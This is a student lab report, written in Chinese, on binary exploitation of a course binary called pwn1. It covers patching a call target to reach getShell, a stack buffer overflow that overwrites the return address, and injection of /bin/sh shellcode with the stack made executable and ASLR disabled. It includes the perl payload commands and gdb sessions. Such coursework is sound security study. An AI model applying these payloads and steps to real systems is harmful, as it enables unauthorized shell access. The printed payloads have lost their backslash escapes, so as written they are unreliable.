实验准备
- 首先在gitee上下载老师提供的
pwn1
文件。 - 将
pwn1
文件通过共享文件夹传到kali上以便使用。 - 将
pwn1
文件复制到主目录下,并进行备份cp pwn1 pwn2
。
实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”
-
掌握反汇编与十六进制编程器
-
能正确修改机器指令改变程序执行流程
-
能正确构造payload进行bof攻击
任务一 直接修改程序机器指令,改变程序执行流程
通过修改main函数中的call指令跳转的地址,使其本来该跳转到foo
函数时,跳转到getshell
函数,从而运行getshell
函数。
1. 输入指令objdump -d pwn1 | more
反汇编pwn1文件。
call指令的机器码为e8
,其跳转的位置为寄存器EIP的值+call 指令后面的立即数。
我们可以看出call 8048491 e8 d7 ff ff ff
。
其中foo函数的地址为08048491
,getshell函数的地址为0804847d
,通过计算其对应关系(小端机器):
0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要修改的目标地址
所以我们只需将其中的call指令的目标地址由d7ffffff变为c3ffffff。
2. 输入指令vi pwn1
打开文件。
打开之后我们会看到文件以ASCII码的形式出现
所以我们要输入命令让其转换为16进制表示
:%!xxd
3. 通过/e8d7
查找要修改的内容
可以看出,使用/e8d7
命令并没有找到我们需要找的地方,这是因为e8 和 d7 是分开的,我们要找/d7ff
4. 找到后,输入i进入插入模式,将d7修改为c3
查看我们修改的地方前后的代码,发现没有问题,就是我们需要的修改的地方。
5. 输入:%!xxd -r
将文件转换为ASCII码形式,输入:wq
保存并退出
6. 这时候,我们再反汇编pwn1文件,查看是否修改成功。
输入objdump -d pwn1 | more
,查看当前反汇编情况。
可以看到程序已经被我们修改成跳转到getshell函数了。
7. 运行pwn1文件和pwn2文件(pwn1文件是被修改过的,pwn2文件是未被修改过的),可以发现两个文件的运行结果不同。
实验成功。
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
1. 反汇编,了解程序的基本功能
输入指令objdump -d pwn2 | more
查看,计算要达到缓冲区溢出说需要输入的字符数
root@kali:~/Documents/20175305/exp1# objdump -d pwn2 | more
8048471: c9 leave
8048472: e9 79 ff ff ff jmp 80483f0 <register_tm_clones>
8048477: 90 nop
8048478: e9 73 ff ff ff jmp 80483f0 <register_tm_clones>
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
080484d0 <__libc_csu_init>:
80484d0: 55 push %ebp
80484d1: 57 push %edi
80484d2: 31 ff xor %edi,%edi
可以推测,需要输入的字节大约在32字节,下面对其进行验证
2. 确认输入字符串哪几个字符会覆盖到返回地址
另外开启一个终端,对pwn2进行gdb调试,输入字符串1111111122222222333333334444444412345555
,观察一下各寄存器的值
可以发现,如果输入字符串1111111122222222333333334444444412345555
,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码,只要把这里的代码换成getshell的内存地址,输给pwn2,pwn2就会运行getshell。
由图可以知道getshell的地址为
root@kali:~/Documents/20175305/exp1# objdump -d pwn2 | more
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
3. 确认用什么值来覆盖返回地址
getshell函数的地址为:0x0804847d
正确输入应为11111111222222223333333344444444x7dx84x04x08
。
4. 构造输入字符串
因为我们无法通过键盘输入十六进制的值,所以我们先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > BOF
root@kali:~/Documents/20175305/exp1# perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > BOF
我们可以通过xxd BOF
命令查看我们创建的文件:
通过管道符|
,作为pwn2
的输入,格式为(cat BOF; cat ) | ./pwn2
。
这样就算实验成功了。
任务三 注入Shellcode并运行攻击
shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
1. 准备工作
- 输入指令
apt-get install execstack
安装execstack,并设置堆栈可执行:
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行
- 关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭
echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化
(“2”为开启,“0”为关闭)
2. 构造要注入的payload
- 我们需要注入一段代码,我们首先构造一个input(参考老师给的代码)
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input
-
在一个窗口运行
(cat input;cat) | ./pwn3
-
在另外一个窗口
ps -ef | grep pwn
能看见当前运行pwn3的进程号为12500;
-
在gdb里面
attach 12500
进行调试 -
使用
disassemble foo
反编译 -
可以看到ret指令的地址为
0x080484ae
,在此处设置断点break *0x080484ae
root@kali:~/Documents/20175305/exp1# gdb
GNU gdb (Debian 9.1-2) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) attach 12500
Attaching to process 12500
Reading symbols from /root/Documents/20175305/exp1/pwn3...
(No debugging symbols found in /root/Documents/20175305/exp1/pwn3)
Reading symbols from /lib32/libc.so.6...
(No debugging symbols found in /lib32/libc.so.6)
Reading symbols from /lib/ld-linux.so.2...
(No debugging symbols found in /lib/ld-linux.so.2)
0xf7fd3b59 in __kernel_vsyscall ()
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb)
-
在另一个终端按下回车,这样程序就会执行之后在断点处停下来
-
再在gdb调试的终端输入
c
继续运行程序 -
info r esp
查看esp寄存器地址 -
x/16x 0xffffd39c
以16进制形式查看0xffffd39c
地址后面16字节的内容 -
从上图中看到01020304所在的地址为0xffffd39c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd39c+0x00000004=0xfffd3a0。随后退出gdb调试。
12.修改注入代码的覆盖地址
perl -e 'print "A" x 32;print"xa0xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
13.输入命令(cat input_shellcode;cat) | ./pwn3
实验成功。
实验收获与感想
本次实验使我收获很大,不仅学习了很多新的知识,比如汇编语言、反汇编、汇编,还回顾了之前学习过的关于缓冲区溢出的问题,本次实验对具有缓冲区溢出漏洞的程序进行攻击,做的过程遇到不少坎,通过请教同学查阅视频得已解决,我觉得对于本门课的学习还需要下一番功夫,知识范围很广
什么是漏洞?漏洞有什么危害?
漏洞即某个程序(包括操作系统)在设计时未考虑周全,当程序遇到一个看似合理,但实际无法处理的问题时,引发的不可预见的错误。系统漏洞又称安全缺陷。如漏洞被恶意用户利用,会造成信息泄漏,如黑客攻击网站即利用网络服务器操作系统的漏洞
参考资料
汇编指令机器码对照